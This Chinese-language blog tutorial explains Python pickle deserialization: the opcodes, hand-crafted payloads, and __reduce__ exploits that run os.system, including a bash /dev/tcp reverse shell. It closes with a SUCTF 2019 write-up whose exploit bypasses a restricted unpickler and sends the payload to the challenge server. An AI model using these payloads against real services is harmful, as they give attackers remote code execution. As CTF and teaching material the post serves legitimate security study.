本篇博客主要介绍了Python反序列化的相关内容!

前言

与php序列化反序列化类似

Python序列化,就是把一个在内存当中的python对象通过某种协议或者标准,转换成二进制类型的数据。

Python反序列化,是一个完全相反的过程,从磁盘文件或者网络中读取到二进制数据,将它们转换成内存中可操作的对象,这就是反序列化。

Python实现序列化方案:

  • pickle
  • PyYAML
  • XML
  • json
  • messagepack

下面主要介绍pickle模块序列化与反序列化

pickle模块

序列化:使用dumps或者dump方法

  • dumps:将内存对象序列化为字节对象
  • dump:将内存对象序列化到文件对象(存入文件)

反序列化:使用loads和load方法

  • loads:将 字节对象反序列化为内存对象
  • load:从文件对象反序列化为内存对象

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

class People():
def __init__(self,name = "MoonBack"):
self.name = name

def __str__(self):
return "Hello World!"

a=People()
print(pickle.dumps(a))
print(pickle.loads(pickle.dumps(a)))

__str__类似于java中的toString方法,即返回对象的字符串表示

1
b'\x80\x03c__main__\nPeople\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x08\x00\x00\x00MoonBackq\x04sb.'

这么长的一串是啥意思呢?慢慢来说

pickle指令码

pickle.loads()函数是我们用来反序列化一个对象的一个接口,底层实现是基于_Unpickler

_Unpickler类维护了两个东西:栈区和存储区。结构如下图:

 是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,最终留在栈顶的值将被作为反序列化对象返回,有的这部分博客上写的是指令处理器,而前序栈维护下层的信息,用来临时存储数据、参数以及对象。

 存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,大多数情况下我们并不需要这个存储区

看了其他人写的博客,发现对这三个名称叫法不尽相同,但表达的意思基本相似,就这样理解吧!

为了看的更清晰,我们可以使用Python提供的pickle调试器模块pickletools

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import pickletools

class People():
def __init__(self,name = "MoonBack"):
self.name = name

def __str__(self):
return "Hello World!"

a=People()
pickletools.dis(pickle.dumps(a))

其实就是序列化结果的比较容易理解的形式,看着和汇编代码很像,在结果里面每一行就是一个指令码。

这些指令说明,全是英文就很难受,实在找不到就翻译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
MARK           = b'('   # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

0号版本是人类最可读的;之后的版本加入了一大堆不可打印字符,不过这些新加的东西都只是为了优化,本质上没有太大的改动。

一个好消息是,pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。

折磨多好像没啥用,介绍几个常用的指令码:

  • S : 后面跟的是字符串
  • I:后面跟的是整形
  • s:添加键值对到字典
  • ( :压入一个标志到栈中,表示元组的开始位置
  • t :从栈顶开始,找到最上面的一个(,并将(t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • c :引入模块名和类名(模块名和类名之间使用回车分隔,find_class校验就在这一步)
  • R :从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • . :点号是结束符
  • }:push一个空的字典

反序列化过程:https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf

手写指令码:

基本模式:

1
2
3
4
c<module>
<callable>
(<args>
tR

看个小例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cos
system
(S'ls'
tR.

<=> __import__('os').system(*('ls',))

# 分解一下:
cos
system => 引入 system,并将函数添加到 stack

(S'ls' => 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
t => stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
# 简单来说,(,t 之间的内容形成了一个 tuple,stack 目前是 [<built-in function system>, ('ls',)]
R => system(*('ls',))
. => 结束,返回当前栈顶元素

__reduce__方法

该方法在反序列化时自动调用

  • 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return 'a',那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。
  • 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后return (eval,("os.system('ls')",)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,('ls',))

由此我们可以构造如下的exp:

1
2
3
4
5
6
7
8
9
10
import os
import pickle

class test():
def __reduce__(self):
return (os.system,('whoami',))

a=test()
c=pickle.dumps(a)
print(c)

然后我们无需导入os模块,无需有test类,就能代码执行

同样,弹shell之类的也不在话下

1
2
3
4
5
6
7
8
9
10
import os
import pickle
class test():
def __reduce__(self):
code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"'
return (os.system,(code,))
a=test()
c=pickle.dumps(a)
print(c)
pickle.loads(c)

__reduce__方法是新式类(内置类)特有的,在python2中要注意继承object类

真实案例

P神的操作:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

Redis未授权访问+Python反序列化

CTF题目

[SUCTF 2019]Guess Game

题目地址:https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game

buu上有环境,列下关键的源码:

game_client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import asyncio
import pickle
from guess_game.Ticket import Ticket
from guess_game import banner
from struct import pack

def pack_length(obj):
return pack('>I', obj)

async def start_client(host, port):
reader, writer = await asyncio.open_connection(host, port)
print(banner)
for _ in range(10):
number = ''
while number == '':
try:
number = input('Input the number you guess\n> ')
number = int(number)
except ValueError:
number = ''
pass
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)
response = await reader.readline()
print(response.decode())
response = await reader.readline()
print(response.decode())
loop = asyncio.get_event_loop()
loop.run_until_complete(start_client('node3.buuoj.cn', 27628))

上面的代码的意思就是进行10次猜数,序列化并编码传输到服务端

game_server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
from guess_game import game
import sys

def get_flag():
with open('/flag', 'r') as f:
flag = f.read().strip()
return flag

def read_length(obj):
return unpack('>I', obj)

def stdin_read(length):
return sys.stdin.buffer.read(length)

try:
while not game.finished():
length = stdin_read(4)
length, = read_length(length)
ticket = stdin_read(length)
ticket = restricted_loads(ticket) # 调用RestrictedUnpickler.restricted_loads()方法
assert type(ticket) == Ticket
if not ticket.is_valid():
print('The number is invalid.')
game.next_game(Ticket(-1))
continue
win = game.next_game(ticket)
if win:
text = "Congratulations, you get the right number!"
else:
text = "Wrong number, better luck next time."
print(text)
if game.is_win():
text = "Game over! You win all the rounds, here is your flag %s" % get_flag()
else:
text = "Game over! You got %d/%d." % (game.win_count, game.round_count)
print(text)
except Exception:
print('Houston, we got a problem.')

这段代码是服务端的,接收传过来的数据并反序列化,判断反序列化的结果是不是Ticket类,是的话才会接着执行,game.is_win()成立才会给flag

RestrictedUnpickler.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import io
import pickle
import sys

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes
if "guess_game" == module[0:10] and "__" not in name:
return getattr(sys.modules[module], name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

这段代码的介绍参考:https://docs.python.org/zh-cn/3/library/pickle.html?highlight=__reduce#restricting-globals

大概意思就是,为了防止pickle反序列化的危害,可以继承pickle.Unpickler实现find_class方法从而达到过滤部分模块方法的目的,该方法在使用该类时自动调用。

而在该题中,必须有guess_game里的类,而且过滤了____reduce__那种方法显然不能用了

看下Game.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from random import randint
from guess_game.Ticket import Ticket
from guess_game import max_round, number_range
# max_round代表回合 number_range代表最大数
class Game:
def __init__(self):
number = randint(0, number_range)
self.curr_ticket = Ticket(number)
self.round_count = 0
self.win_count = 0

def next_game(self, ticket):
win = False
if self.curr_ticket == ticket:
self.win_count += 1
win = True
number = randint(0, number_range)
self.curr_ticket = Ticket(number)
self.round_count += 1
return win

def finished(self):
return self.round_count >= max_round

def is_win(self):
return self.win_count == max_round

__init__.py:

1
2
3
4
5
6
max_round = 10
number_range = 10

from guess_game.Game import Game

game = Game()

这里虽然条件受限, 只能加载指定模块, 但是可以看到 __init.py__game = Game(), 所以只要构造出 pickle 代码获得 guess_game.game对象, 然后修改 game 的 win_count 和 round_count 即可.
注意这里必须手写, 如果是 from guess_game import game, 然后修改再 dumps 这个 game 的话, 是在运行时重新新建一个 Game 对象, 而不是从 guess_game 这个 module 里面获取。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket
import struct

s = socket.socket()
s.connect(('node3.buuoj.cn', 29935))
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I10
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'''
s.send(struct.pack('>I', len(exp)))
s.send(exp)
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

分析一下构造过程

1
2
3
4
5
6
7
cguess_game
game # 引入guess_game.game类
}S'round_count' # push一个空的字典,把round_count和win_count加到里面
I10
sS'win_count'
I10
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.

最后一行前两个字母表示对象更新,后面一串是guess_game.Ticket对象序列化的结果,pickle 序列流执行完后会把栈顶的值返回,那结尾再留一个 Ticket 的对象就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from guess_game.Ticket import Ticket
from guess_game.Game import Game
import pickle

exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I10
sb\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'''
exp1 = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I10
sb.'''
a=Ticket(3)
print(pickle.dumps(a))
# b'\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'
b=pickle.loads(exp)
print(b)
# <guess_game.Ticket.Ticket object at 0x7f9370b61a90>
print(b.__dict__)
# {'number': 3}
c=pickle.loads(exp1)
print(c)
# <guess_game.Game.Game object at 0x7f9370b50eb8>
print(c.__dict__)
# {'win_count': 10, 'curr_ticket': <guess_game.Ticket.Ticket object at 0x7f9370b50f60>, 'round_count': 10}

参考:

https://www.xjimmy.com/python-36-serialization.html

https://zhuanlan.zhihu.com/p/89132768

https://www.anquanke.com/post/id/188981

http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

评论